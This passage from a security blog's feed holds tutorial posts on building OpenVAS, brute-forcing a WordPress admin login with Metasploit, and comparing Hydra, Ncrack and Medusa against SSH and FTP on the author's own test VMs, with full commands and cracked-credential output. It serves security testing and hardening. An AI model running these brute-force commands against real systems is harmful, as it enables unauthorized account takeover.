<p>Lets get going, we are going to build a server version from source on Ubuntu 10.04 LTS, will give 11.04 a go in the near future. These packages should get you going.</p>
<blockquote><p>apt-get install build-essential cmake doxygen uuid libgpgme11 libgpgme11-dev libpcap0.8-dev libpcap0.8 uuid-dev pkg-config libglib2.0* autoconf libgnutls-dev bison sqlite3 libsqlite3-dev xsltproc libxslt1-dev libmicrohttpd-dev xmltoman</p></blockquote>
<p>Information for getting the wmi library <a href="http://svn.wald.intevation.org/svn/openvas/trunk/openvas-libraries/doc/wmi-howto.txt">built is here</a>, the following is a fast summary.</p>
<blockquote><p>wget http://www.openvas.org/download/wmi/wmi-1.3.14.tar.bz2</p>
<p>tar xjvf wmi-1.3.14.tar.bz2</p>
<p>To enable the WMI integration in OpenVAS, a patch needs to be applied to the<br />
source you just downloaded.</p>
<p>wget http://www.openvas.org/download/wmi/openvas-wmi-1.3.14.patch</p>
<p>Copy the patch to the wmi-1.3.14 directory you just created and apply the patch<br />
with the following command:</p>
<p>$ patch -p1 < openvas-wmi-1.3.14.patch</p>
<p>In the wmi-1.3.14 directory, execute the following commands:<br />
cd Samba/source<br />
./autogen.sh<br />
./configure<br />
make proto all<br />
make libraries</p>
<p>bash install-libwmiclient.sh</p></blockquote>
<p>Now we should be good to go on the main application building.</p>
<blockquote><p>wget http://wald.intevation.org/frs/download.php/862/openvas-scanner-3.2.3.tar.gz<br />
wget http://wald.intevation.org/frs/download.php/871/openvas-manager-2.0.4.tar.gz<br />
wget http://wald.intevation.org/frs/download.php/853/openvas-administrator-1.1.1.tar.gz<br />
wget http://wald.intevation.org/frs/download.php/857/greenbone-security-assistant-2.0.1.tar.gz<br />
wget http://wald.intevation.org/frs/download.php/860/gsd-1.1.1.tar.gz<br />
wget http://wald.intevation.org/frs/download.php/851/openvas-cli-1.1.2.tar.gz</p>
<p>tar zxvf openvas-cli-1.1.2.tar.gz<br />
tar zxvf openvas-libraries-4.0.5.tar.gz<br />
tar zxvf openvas-manager-2.0.4.tar.gz<br />
tar zxvf openvas-scanner-3.2.3.tar.gz<br />
tar zxvf openvas-administrator-1.1.1.tar.gz</p>
<p>cd openvas-libraries-4.0.5<br />
cmake .<br />
make<br />
make install</p>
<p>cd openvas-scanner-3.2.3<br />
cmake .<br />
make<br />
make install</p>
<p>cd openvas-cli-1.1.2<br />
cmake .<br />
make<br />
make install</p>
<p>cd openvas-administrator-1.1.1<br />
cmake .<br />
make<br />
make install</p>
<p>cd greenbone-security-assistant-2.0.1<br />
cmake .<br />
make<br />
make install</p>
<p>ldconfig</p></blockquote>
<p>Run the initial commands build your certificate and create an openvas user.</p>
<blockquote><p>openvas-mkcert<br />
openvas-adduser</p>
<p>openvas-nvt-sync<br />
< plugins scroll by -- snip ><br />
[i] Download complete<br />
[i] Checking dir: ok<br />
[i] Checking MD5 checksum: ok</p>
<p>openvassd<br />
Loading the plugins&#8230; 8058 (out of 21431)</p></blockquote>
<p>Looking good so far.</p>
<p>There are a lot of components to this installation. There is a handy script that checks your OpenVas configuration for problems. Download it, save as openvas-check.sh and run it.</p>
<blockquote><p>wget http://wald.intevation.org/plugins/scmsvn/viewcvs.php/*checkout*/trunk/tools/openvas-check-setup?root=openvas -O openvas-check.sh</p>
<p>./openvas-check.sh</p>
<p>openvas-check-setup 2.0.6<br />
  Test completeness and readiness of OpenVAS-4</p>
<p>  Please report us any non-detected problems and<br />
  help us to improve this check routine:</p>
<p>http://lists.wald.intevation.org/mailman/listinfo/openvas-discuss</p>
<p>  Send us the log-file (/tmp/openvas-check-setup.log) to help analyze the problem.</p>
<p>  Use the parameter &#8211;server to skip checks for client tools<br />
  like GSD and OpenVAS-CLI.</p>
<p>Step 1: Checking OpenVAS Scanner &#8230;<br />
        OK: OpenVAS Scanner is present in version 3.2.3.<br />
        OK: OpenVAS Scanner CA Certificate is present as /usr/local/var/lib/openvas/CA/cacert.pem.<br />
        OK: NVT collection in /usr/local/var/lib/openvas/plugins contains 21431 NVTs.<br />
Step 2: Checking OpenVAS Manager &#8230;<br />
        OK: OpenVAS Manager is present in version 2.0.4.<br />
        OK: OpenVAS Manager client certificate is present as /usr/local/var/lib/openvas/CA/clientcert.pem.<br />
        ERROR: No OpenVAS Manager database found. (Tried: /usr/local/var/lib/openvas/mgr/tasks.db)<br />
        FIX: Run &#8216;openvasmd &#8211;rebuild&#8217; while OpenVAS Scanner is running.</p>
<p> ERROR: Your OpenVAS-4 installation is not yet complete!</p>
<p>Please follow the instructions marked with FIX above and run this<br />
script again.</p>
<p>If you think this result is wrong, please report your observation<br />
and help us to improve this check routine:</p>
<p>http://lists.wald.intevation.org/mailman/listinfo/openvas-discuss</p>
<p>Please attach the log-file (/tmp/openvas-check-setup.log) to help us analyze the problem.</p></blockquote>
<p>Notice how the check script detects the problem and prompts you with a fix.</p>
<blockquote><p>openvasmd &#8211;rebuild</p></blockquote>
<p>We still have an error in openvas-check.sh results, but this is because we have not built the GSD (Greenbone security desktop). We are not building the desktop client as this is a remote server.  </p>
<blockquote><p>openvasd<br />
gsad<br />
openvasmd</p></blockquote>
<p>This should start up the services. The Greenbone Security Assistant runs on 80 and 443. You can use command line options force ssl. I have done some initial testing and have to say its impressive. Fast, responsive and intuitive &#8211; unlike <a href="http://www.nessus.org" title="Nessus Vulnerability Scanner">Nessus</a> and its flash based web gui that I find to be clunky and difficult to manage.</p>
<p>Version 4.0 of OpenVas is good at this stage. I will definitely have to do more testing and look at migrating <a href="http://hackertarget.com/openvas-scan/" title="Online Vulnerability Scanner">our version 3 based online scanning solution</a> to version 4.</p>
<div class="addthis_toolbox addthis_default_style " addthis:url='http://hackertarget.com/2011/06/installing-openvas-4-0-on-ubuntu-10-04/' addthis:title='Installing OpenVas 4.0 on Ubuntu 10.04 '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_button_google_plusone" g:plusone:size="medium"></a><a class="addthis_counter addthis_pill_style"></a></div>]]></content:encoded>
			<wfw:commentRss>http://hackertarget.com/2011/06/installing-openvas-4-0-on-ubuntu-10-04/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Testing WordPress Password Security with Metasploit</title>
		<link>http://hackertarget.com/2011/06/testing-wordpress-password-security-with-metasploit/</link>
		<comments>http://hackertarget.com/2011/06/testing-wordpress-password-security-with-metasploit/#comments</comments>
		<pubDate>Wed, 01 Jun 2011 05:32:19 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Tools]]></category>
		<category><![CDATA[metasploit]]></category>
		<category><![CDATA[password]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://hackertarget.com/?p=1065</guid>
		<description><![CDATA[How easy is it to hack wordpress admin accounts? Poor WordPress password security is an ongoing issue, the purpose of this post is to highlight how easy it is to break into wordpress admin accounts that have weak passwords. Metasploit Framework is an open source penetration testing application that has modules for the explicit purpose [...]<div class="addthis_toolbox addthis_default_style " addthis:url='http://hackertarget.com/2011/06/testing-wordpress-password-security-with-metasploit/' addthis:title='Testing WordPress Password Security with Metasploit '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_button_google_plusone" g:plusone:size="medium"></a><a class="addthis_counter addthis_pill_style"></a></div>]]></description>
			<content:encoded><![CDATA[<p>How easy is it to hack wordpress admin accounts?</p>
<p>Poor WordPress password security is an ongoing issue, the purpose of this post is to highlight how easy it is to break into wordpress admin accounts that have weak passwords.</p>
<p><a href="http://www.metasploit.com">Metasploit Framework</a> is an open source penetration testing application that has modules for the explicit purpose of breaking into systems and applications. This is the software we will use to demonstrate poor WordPress security.</p>
<p>Did you know with the wordpress admin account you not only lose control of your blog but on many hosts the attacker can then run code on the server with the rights of the web hosting account or web server. With the ability to run commands locally, full server root compromise is the next step.</p>
<p class="note">I will be performing the password audit against a local VirtualBox running WordPress. This sort of activity is illegal in most places if used against systems that you do not have explicit permission to test.</P></p>
<p>First I will download and install the Metasploit Framework into my Ubuntu Linux 11.04 Desktop system. This will be a minimal install of Metasploit with the mini installer and minimal packages to get this module running.</p>
<blockquote><p>apt-get install ruby libopenssl-ruby libyaml-ruby libdl-ruby libiconv-ruby libreadline-ruby irb ri rubygems</p>
<p>wget http://updates.metasploit.com/data/releases/framework-3.7.1-linux-x64-mini.run</p>
<p>wget http://downloads.skullsecurity.org/passwords/500-worst-passwords.txt</p>
<p>chmod +x framework-3.7.1-linux-x64-mini.run</p>
<p>sudo ./framework-3.7.1-linux-x64-mini.run</p></blockquote>
<p>Since I am on my Ubuntu Desktop a pretty rapid7 installer pops up and it is a matter of clicking through the installer.</p>
<blockquote><p>./msfconsole</p>
<p>#    # ###### #####   ##    ####  #####  #       ####  # #####<br />
##  ## #        #    #  #  #      #    # #      #    # #   #<br />
# ## # #####    #   #    #  ####  #    # #      #    # #   #<br />
#    # #        #   ######      # #####  #      #    # #   #<br />
#    # #        #   #    # #    # #      #      #    # #   #<br />
#    # ######   #   #    #  ####  #      ######  ####  #   #</p>
<p>       =[ metasploit v3.7.1-release [core:3.7 api:1.0]<br />
+ &#8212; &#8211;=[ 687 exploits - 357 auxiliary - 39 post<br />
+ -- --=[ 217 payloads - 27 encoders - 8 nops</p>
<p>msf > show auxiliary</p>
<p>msf > use scanner/http/wordpress_login_enum</p>
<p>msf auxiliary(wordpress_login_enum) ></p>
<p>msf auxiliary(wordpress_login_enum) >  show options</p>
<p>Module options (auxiliary/scanner/http/wordpress_login_enum):</p>
<p>   Name              Current Setting  Required  Description<br />
   ----              ---------------  --------  -----------<br />
   BLANK_PASSWORDS   true             no        Try blank passwords for all users<br />
   BRUTEFORCE        true             yes       Perform brute force authentication<br />
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5<br />
   PASSWORD                           no        A specific password to authenticate with<br />
   PASS_FILE                          no        File containing passwords, one per line<br />
   Proxies                            no        Use a proxy chain<br />
   RHOSTS                             yes       The target address range or CIDR identifier<br />
   RPORT             80               yes       The target port<br />
   STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host<br />
   THREADS           1                yes       The number of concurrent threads<br />
   URI               /wp-login.php    no        Define the path to the wp-login.php file<br />
   USERNAME                           no        A specific username to authenticate as<br />
   USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line<br />
   USER_AS_PASS      true             no        Try the username as the password for all users<br />
   USER_FILE                          no        File containing usernames, one per line<br />
   VALIDATE_USERS    true             yes       Enumerate usernames<br />
   VERBOSE           true             yes       Whether to print output for all attempts<br />
   VHOST                              no        HTTP server virtual host</p>
<p>msf auxiliary(wordpress_login_enum) > set RHOSTS 192.168.56.101<br />
RHOSTS => 192.168.56.101<br />
msf auxiliary(wordpress_login_enum) > set USERNAME admin<br />
USERNAME => admin<br />
msf auxiliary(wordpress_login_enum) > set PASS_FILE /home/test/500-worst-passwords.txt<br />
PASS_FILE => /home/test/500-worst-passwords.txt<br />
msf auxiliary(wordpress_login_enum) > exploit</p>
<p>[*] http://192.168.56.101:80/wp-login.php &#8211; WordPress Enumeration &#8211; Running User Enumeration<br />
[*] http://192.168.56.101:80/wp-login.php &#8211; WordPress Enumeration &#8211; Checking Username:&#8217;admin&#8217;<br />
[+] http://192.168.56.101:80/wp-login.php &#8211; WordPress Enumeration- Username: &#8216;admin&#8217; &#8211; is VALID<br />
[+] http://192.168.56.101:80/wp-login.php &#8211; WordPress Enumeration &#8211; Found 1 valid user<br />
[*] http://192.168.56.101:80/wp-login.php &#8211; WordPress Brute Force &#8211; Running Bruteforce<br />
[*] http://192.168.56.101:80/wp-login.php &#8211; WordPress Brute Force &#8211; Skipping all but 1 valid user<br />
[*] http://192.168.56.101:80/wp-login.php &#8211; WordPress Brute Force &#8211; Trying username:&#8217;admin&#8217; with password:&#8221;<br />
[-] http://192.168.56.101:80/wp-login.php &#8211; WordPress Brute Force &#8211; Failed to login as &#8216;admin&#8217;</p>
<p><-------------- SNIP --------------------></p>
<p>[-] http://192.168.56.101:80/wp-login.php &#8211; WordPress Brute Force &#8211; Failed to login as &#8216;admin&#8217;<br />
[*] http://192.168.56.101:80/wp-login.php &#8211; WordPress Brute Force &#8211; Trying username:&#8217;admin&#8217; with password:&#8217;albert&#8217;<br />
[-] http://192.168.56.101:80/wp-login.php &#8211; WordPress Brute Force &#8211; Failed to login as &#8216;admin&#8217;<br />
[*] http://192.168.56.101:80/wp-login.php &#8211; WordPress Brute Force &#8211; Trying username:&#8217;admin&#8217; with password:&#8217;toor&#8217;<br />
[+] http://192.168.56.101:80/wp-login.php &#8211; WordPress Brute Force &#8211; SUCCESSFUL login for &#8216;admin&#8217; : &#8216;toor&#8217;<br />
[*] Scanned 1 of 1 hosts (100% complete)<br />
[*] Auxiliary module execution completed</p></blockquote>
<p>Password has been found! Testing these 500 passwords was fast. Obviously over the speed will depend on the network link and the server speed.</p>
<p>One of the things that makes breaking wordpress accounts easy is that the username can be enumerated from the admin login screen.<br />
<img src="http://hackertarget.com/wordpress-username-and-password-incorrect.png"></p>
<p>It is important to rename the admin account on installations of wordpress and to use a complicated password of adequate length. I have shown above how easy it is to guess hundreds of passwords very quickly.</p>
<p>More details on securing your system can be found at <a href="http://http://codex.wordpress.org/Hardening_WordPress">WordPress.org</a>, understanding what is running on your wordpress blog and other security risks is an important step in maintaining a secure system. <a href="http://hackertarget.com/wordpress-security-scan">HackerTarget.com has a free WordPress Security Scan</a> that can be used to check some of these issues.</p>
<p>Details on the Metasploit Module used for this testing can be <a href="http://www.metasploit.com/modules/auxiliary/scanner/http/wordpress_login_enum">found here</a></p>
<div class="addthis_toolbox addthis_default_style " addthis:url='http://hackertarget.com/2011/06/testing-wordpress-password-security-with-metasploit/' addthis:title='Testing WordPress Password Security with Metasploit '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_button_google_plusone" g:plusone:size="medium"></a><a class="addthis_counter addthis_pill_style"></a></div>]]></content:encoded>
			<wfw:commentRss>http://hackertarget.com/2011/06/testing-wordpress-password-security-with-metasploit/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>w3af web application security testing framework stable released</title>
		<link>http://hackertarget.com/2011/06/w3af-web-application-security-testing-framework-stable-released/</link>
		<comments>http://hackertarget.com/2011/06/w3af-web-application-security-testing-framework-stable-released/#comments</comments>
		<pubDate>Wed, 01 Jun 2011 04:41:02 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Tools]]></category>

		<guid isPermaLink="false">http://hackertarget.com/?p=1062</guid>
		<description><![CDATA[The latest version of w3af has been released and its a &#8220;stable&#8221; 1.0 release. To fire it up on Ubuntu only a couple of steps are required: Download the latest version from here: http://sourceforge.net/projects/w3af/files/ sudo apt-get install python-nltk python-soappy python-lxml python-svn python-scapy graphviz tar jxvf w3af-1.0-stable.tar.bz2 ./w3af_gui The first thing to notice is the shiny [...]<div class="addthis_toolbox addthis_default_style " addthis:url='http://hackertarget.com/2011/06/w3af-web-application-security-testing-framework-stable-released/' addthis:title='w3af web application security testing framework stable released '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_button_google_plusone" g:plusone:size="medium"></a><a class="addthis_counter addthis_pill_style"></a></div>]]></description>
			<content:encoded><![CDATA[<p>The latest version of <a href="http://w3af.sourceforge.net/">w3af</a> has been released and its a &#8220;stable&#8221; 1.0 release.</p>
<p>To fire it up on Ubuntu only a couple of steps are required:</p>
<blockquote><p>Download the latest version from here: http://sourceforge.net/projects/w3af/files/<br />
sudo apt-get install python-nltk python-soappy python-lxml python-svn python-scapy graphviz</p>
<p>tar jxvf w3af-1.0-stable.tar.bz2<br />
./w3af_gui</p></blockquote>
<p>The first thing to notice is the shiny new splash screen highlighting the new owner of the project that being <a href="http://www.rapid7.com/" title="Rapid7 Security Testing Products">Rapid7</a>.</p>
<p>A notice that I don&#8217;t have the latest update appears, so auto update is performed after confirmation.</p>
<p>Following some local testing of random wordpress plugins in a turnkey linux virtualbox host I found the w3af framework to be much improved in terms of stability and speed. This is a welcome improvement as previously python traces and broken scans was annoying enough to make it unusable unless stepping through and performing one or two audit plugins at a time.</p>
<p>Further exploration is required, as the potential for an excellent open source web application testing framework has always been there. I expect to see closer integration between <a href="http://www.metasploit.com">Metasploit</a> and <a href="http://w3af.sourceforge.net/">w3af</a> in future releases.</p>
<div class="addthis_toolbox addthis_default_style " addthis:url='http://hackertarget.com/2011/06/w3af-web-application-security-testing-framework-stable-released/' addthis:title='w3af web application security testing framework stable released '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_button_google_plusone" g:plusone:size="medium"></a><a class="addthis_counter addthis_pill_style"></a></div>]]></content:encoded>
			<wfw:commentRss>http://hackertarget.com/2011/06/w3af-web-application-security-testing-framework-stable-released/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>New WordPress Version Released 3.1.3</title>
		<link>http://hackertarget.com/2011/05/new-wordpress-version-released-3-1-3/</link>
		<comments>http://hackertarget.com/2011/05/new-wordpress-version-released-3-1-3/#comments</comments>
		<pubDate>Thu, 26 May 2011 05:38:41 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Security News]]></category>
		<category><![CDATA[Tools]]></category>

		<guid isPermaLink="false">http://hackertarget.com/?p=1049</guid>
		<description><![CDATA[Hot on the heels of the release of our new WordPress Security Scanner is a new update to wordpress. The release includes multiple security fixes and hardening. Update your installations now. Various security hardening by Alexander Concha. Taxonomy query hardening by John Lamansky. Prevent sniffing out user names of non-authors by using canonical redirects. Props [...]<div class="addthis_toolbox addthis_default_style " addthis:url='http://hackertarget.com/2011/05/new-wordpress-version-released-3-1-3/' addthis:title='New WordPress Version Released 3.1.3 '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_button_google_plusone" g:plusone:size="medium"></a><a class="addthis_counter addthis_pill_style"></a></div>]]></description>
			<content:encoded><![CDATA[<p>Hot on the heels of the release of our new <a href="http://hackertarget.com/wordpress-security-scan" title="WordPress Scanner to Test Security of Installations">WordPress Security Scanner</a> is a new update to <a href="http://wordpress.org">wordpress</a>. The release includes multiple security fixes and hardening. Update your installations now.</p>
<blockquote>
<li>Various security hardening by <a href="http://www.buayacorp.com">Alexander Concha</a>.</li>
<li>Taxonomy query hardening by <a href="http://johnlamansky.com/wordpress">John Lamansky</a>.</li>
<li>Prevent sniffing out user names of non-authors by using canonical redirects. Props <a href="www.talsoft.com.ar">Verónica Valeros</a>.</li>
<li>Media security fixes by Richard Lundeen of <a href="http://www.microsoft.com/">Microsoft</a>, Jesse Ou of <a href="http://www.microsoft.com/">Microsoft</a>, and <a href="http://www.microsoft.com/security/msrc/default.aspx">Microsoft Vulnerability Research</a>.</li>
<li>Improves file upload security on hosts with dangerous security settings.</li>
<li>Cleans up old WordPress import files if the import does not finish.</li>
<li>Introduce &#8220;clickjacking&#8221; protection in modern browsers on admin and login pages.</li>
</blockquote>
<p>Consult the <a href="http://core.trac.wordpress.org/log/branches/3.1/?action=stop_on_copy&amp;mode=stop_on_copy&amp;rev=18023&amp;stop_rev=17805&amp;limit=100">change log</a> for full details.</p>
<div class="addthis_toolbox addthis_default_style " addthis:url='http://hackertarget.com/2011/05/new-wordpress-version-released-3-1-3/' addthis:title='New WordPress Version Released 3.1.3 '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_button_google_plusone" g:plusone:size="medium"></a><a class="addthis_counter addthis_pill_style"></a></div>]]></content:encoded>
			<wfw:commentRss>http://hackertarget.com/2011/05/new-wordpress-version-released-3-1-3/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Brute Forcing Passwords with ncrack, hydra and medusa</title>
		<link>http://hackertarget.com/2011/05/brute-forcing-passwords-with-ncrack-hydra-and-medusa/</link>
		<comments>http://hackertarget.com/2011/05/brute-forcing-passwords-with-ncrack-hydra-and-medusa/#comments</comments>
		<pubDate>Fri, 06 May 2011 04:18:08 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Tools]]></category>
		<category><![CDATA[brute force]]></category>
		<category><![CDATA[password]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://hackertarget.com/?p=1012</guid>
		<description><![CDATA[Lets test some password breaking tools. Password&#8217;s are often the weakest link in any system. Testing for weak passwords is an important part of security assessments. I am focusing on tools that allow remote service brute forcing. There are also powerful tools available for cracking encrypted password hashes on a local system. The three tools [...]<div class="addthis_toolbox addthis_default_style " addthis:url='http://hackertarget.com/2011/05/brute-forcing-passwords-with-ncrack-hydra-and-medusa/' addthis:title='Brute Forcing Passwords with ncrack, hydra and medusa '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_button_google_plusone" g:plusone:size="medium"></a><a class="addthis_counter addthis_pill_style"></a></div>]]></description>
			<content:encoded><![CDATA[<p>Lets test some password breaking tools. Password&#8217;s are often the weakest link in any system. Testing for weak passwords is an important part of security assessments.</p>
<p>I am focusing on tools that allow remote service brute forcing. There are also <a href="http://hashcat.net/oclhashcat/" title="HashCat Password Cracking" target="_blank">powerful tools</a> available for cracking encrypted password hashes on a local system. </p>
<p>The three tools I will assess are <a href="http://www.thc.org/thc-hydra/">Hydra</a>, <a href="http://www.foofus.net/~jmk/medusa/medusa.html">Medusa</a> and <a href="http://nmap.org/ncrack/">Ncrack</a> (from nmap.org).</p>
<p>Installation of all three tools was straight forward on <a href="http://www.ubuntulinux.org">Ubuntu</a> Linux.</p>
<blockquote><p>wget http://nmap.org/ncrack/dist/ncrack-0.4ALPHA.tar.gz<br />
./configure<br />
make<br />
make install</p>
<p>wget http://freeworld.thc.org/releases/hydra-6.3-src.tar.gz<br />
./configure<br />
make<br />
make install</p>
<p>wget http://www.foofus.net/jmk/tools/medusa-2.0.tar.gz<br />
./configure<br />
make<br />
make install
</p></blockquote>
<p>Then I grabbed a list of 500 passwords from <a href="http://www.skullsecurity.org/blog/">skullsecurity.org</a>.</p>
<blockquote><p>
wget http://downloads.skullsecurity.org/passwords/500-worst-passwords.txt
</p></blockquote>
<p>Testing was done against a Linux Virtual Machine running on Virtualbox.</p>
<p>The first series of tests was against SSH. I set the root account with the password &#8220;toor&#8221;. I added toor to the end of the 500 password list at number 499.</p>
<blockquote><p>~# hydra -l root -P 500-worst-passwords.txt 10.10.10.10 ssh<br />
Hydra v6.3 (c) 2011 by van Hauser / THC and David Maciejak &#8211; use allowed only for legal purposes.<br />
Hydra (http://www.thc.org/thc-hydra) starting at 2011-05-05 16:45:19<br />
[DATA] 16 tasks, 1 servers, 500 login tries (l:1/p:500), ~31 tries per task<br />
[DATA] attacking service ssh on port 22<br />
[STATUS] 185.00 tries/min, 185 tries in 00:01h, 315 todo in 00:02h<br />
[STATUS] 183.00 tries/min, 366 tries in 00:02h, 134 todo in 00:01h<br />
[22][ssh] host: 10.10.10.10   login: root   password: toor<br />
[STATUS] attack finished for 10.10.10.10 (waiting for children to finish)<br />
Hydra (http://www.thc.org/thc-hydra) finished at 2011-05-05 16:48:08</p></blockquote>
<p>Success with Hydra!</p>
<blockquote><p>~# ncrack -p 22 &#8211;user root -P 500-worst-passwords.txt 10.10.10.10</p>
<p>Starting Ncrack 0.4ALPHA ( http://ncrack.org ) at 2011-05-05 16:50 EST<br />
Stats: 0:00:18 elapsed; 0 services completed (1 total)<br />
Rate: 0.09; Found: 0; About 6.80% done; ETC: 16:54 (0:04:07 remaining)<br />
Stats: 0:01:46 elapsed; 0 services completed (1 total)<br />
Rate: 3.77; Found: 0; About 78.40% done; ETC: 16:52 (0:00:29 remaining)</p>
<p>Discovered credentials for ssh on 10.10.10.10 22/tcp:<br />
10.10.10.10 22/tcp ssh: &#8216;root&#8217; &#8216;toor&#8217;</p>
<p>Ncrack done: 1 service scanned in 138.03 seconds.</p>
<p>Ncrack finished.</p></blockquote>
<p>Success with Ncrack!</p>
<blockquote><p># medusa -u root -P 500-worst-passwords.txt -h 10.10.10.10 -M ssh<br />
Medusa v2.0 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net></p>
<p>ACCOUNT CHECK: [ssh] Host: 10.10.10.10 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 123456 (1 of 500 complete)<br />
ACCOUNT CHECK: [ssh] Host: 10.10.10.10 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: password (2 of 500 complete)</p>
<p><< --- SNIP --->>></p>
<p>ACCOUNT CHECK: [ssh] Host: 10.10.10.10 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: billy (498 of 500 complete)<br />
ACCOUNT CHECK: [ssh] Host: 10.10.10.10 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: toor (499 of 500 complete)<br />
ACCOUNT FOUND: [ssh] Host: 10.10.10.10 User: root Password: toor [SUCCESS]</p></blockquote>
<p>~ 1500 seconds</p>
<p>Success with Medusa, however it took over 10 times as long with the default settings of each tool.</p>
<p>Lets try and speed things up a bit. cranking up Medusa speed to use 5 concurrent logins fails with the following error:</p>
<blockquote><p>ACCOUNT CHECK: [ssh] Host: 10.10.10.10 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: mustang (7 of 500 complete)<br />
medusa: ath.c:193: _gcry_ath_mutex_lock: Assertion `*lock == ((ath_mutex_t) 0)&#8217; failed.<br />
Aborted</p></blockquote>
<p>Trying Ncrack at a faster rate was a bit faster but not much.</p>
<blockquote><p>ncrack -p ssh -u root -P 500-worst-passwords.txt -T5 10.10.10.10</p>
<p>Starting Ncrack 0.4ALPHA ( http://ncrack.org ) at 2011-05-06 09:04 EST</p>
<p>Discovered credentials for ssh on 10.10.10.10 22/tcp:<br />
10.10.10.10 22/tcp ssh: &#8216;root&#8217; &#8216;toor&#8217;</p>
<p>Ncrack done: 1 service scanned in 128.98 seconds.</p>
<p>Ncrack finished.</p></blockquote>
<p>Hydra any faster, up the threads to 32? </p>
<blockquote><p>$ hydra -t 32 -l root -P 500-worst-passwords.txt 10.10.10.10 ssh<br />
Hydra v6.3 (c) 2011 by van Hauser / THC and David Maciejak &#8211; use allowed only for legal purposes.<br />
Hydra (http://www.thc.org/thc-hydra) starting at 2011-05-06 12:44:03<br />
[DATA] 32 tasks, 1 servers, 500 login tries (l:1/p:500), ~15 tries per task<br />
[DATA] attacking service ssh on port 22<br />
[STATUS] 184.00 tries/min, 184 tries in 00:01h, 316 todo in 00:02h<br />
[STATUS] 185.50 tries/min, 371 tries in 00:02h, 129 todo in 00:01h<br />
[STATUS] attack finished for 10.10.10.10 (waiting for children to finish)<br />
[22][ssh] host: 10.10.10.10   login: root   password: toor<br />
Hydra (http://www.thc.org/thc-hydra) finished at 2011-05-06 12:46:57</p></blockquote>
<p>No change really. Perhaps the limiting factor for Hydra and Ncrack is the speed of response from the VirtualBox machine. Either way it appears the default speed is pretty good for both tools.</p>
<p>Now to try hitting ftp server on the same host (vsftpd).</p>
<blockquote><p>ncrack -u test -P 500-worst-passwords.txt 10.10.10.10 -p 21</p>
<p>Starting Ncrack 0.4ALPHA ( http://ncrack.org ) at 2011-05-06 12:53 EST<br />
Stats: 0:00:40 elapsed; 0 services completed (1 total)<br />
Rate: 5.94; Found: 0; About 47.20% done; ETC: 12:54 (0:00:45 remaining)<br />
Stats: 0:00:59 elapsed; 0 services completed (1 total)<br />
Rate: 6.93; Found: 0; About 88.00% done; ETC: 12:54 (0:00:08 remaining)</p>
<p>Discovered credentials for ftp on 10.10.10.10 21/tcp:<br />
10.10.10.10 21/tcp ftp: &#8216;test&#8217; &#8216;toor&#8217;</p>
<p>Ncrack done: 1 service scanned in 69.01 seconds.</p></blockquote>
<p>Push it faster&#8230;.</p>
<blockquote><p>$ ncrack -u test -P 500-worst-passwords.txt -T 5 10.10.10.10 -p 21</p>
<p>Starting Ncrack 0.4ALPHA ( http://ncrack.org ) at 2011-05-06 12:55 EST<br />
Stats: 0:00:03 elapsed; 0 services completed (1 total)<br />
Rate: 0.00; Found: 0; About 0.00% done<br />
Stats: 0:00:06 elapsed; 0 services completed (1 total)<br />
Rate: 0.00; Found: 0; About 0.00% done</p>
<p>Discovered credentials for ftp on 10.10.10.10 21/tcp:<br />
10.10.10.10 21/tcp ftp: &#8216;test&#8217; &#8216;toor&#8217;</p>
<p>Ncrack done: 1 service scanned in 66.01 seconds.</p></blockquote>
<p>Same result. Limiting factor is likely the VM.</p>
<blockquote><p>$ hydra -l root -P 500-worst-passwords.txt 10.10.10.10 ftp<br />
Hydra v6.3 (c) 2011 by van Hauser / THC and David Maciejak &#8211; use allowed only for legal purposes.<br />
Hydra (http://www.thc.org/thc-hydra) starting at 2011-05-06 13:07:43<br />
[DATA] 16 tasks, 1 servers, 500 login tries (l:1/p:500), ~31 tries per task<br />
[DATA] attacking service ftp on port 21</p>
<p>Error: Not an FTP protocol or service shutdown: 500 OOPS: priv_sock_get_cmd<br />
Error: Not an FTP protocol or service shutdown: 500 OOPS: priv_sock_get_cmd</p>
<p>[STATUS] 219.00 tries/min, 219 tries in 00:01h, 281 todo in 00:02h<br />
Error: Not an FTP protocol or service shutdown: 500 OOPS: priv_sock_get_cmd</p>
<p>Error: Not an FTP protocol or service shutdown: 500 OOPS: priv_sock_get_cmd<br />
[STATUS] 233.06 tries/min, 470 tries in 00:02h, 30 todo in 00:01h<br />
[STATUS] attack finished for 10.10.10.10 (waiting for children to finish)<br />
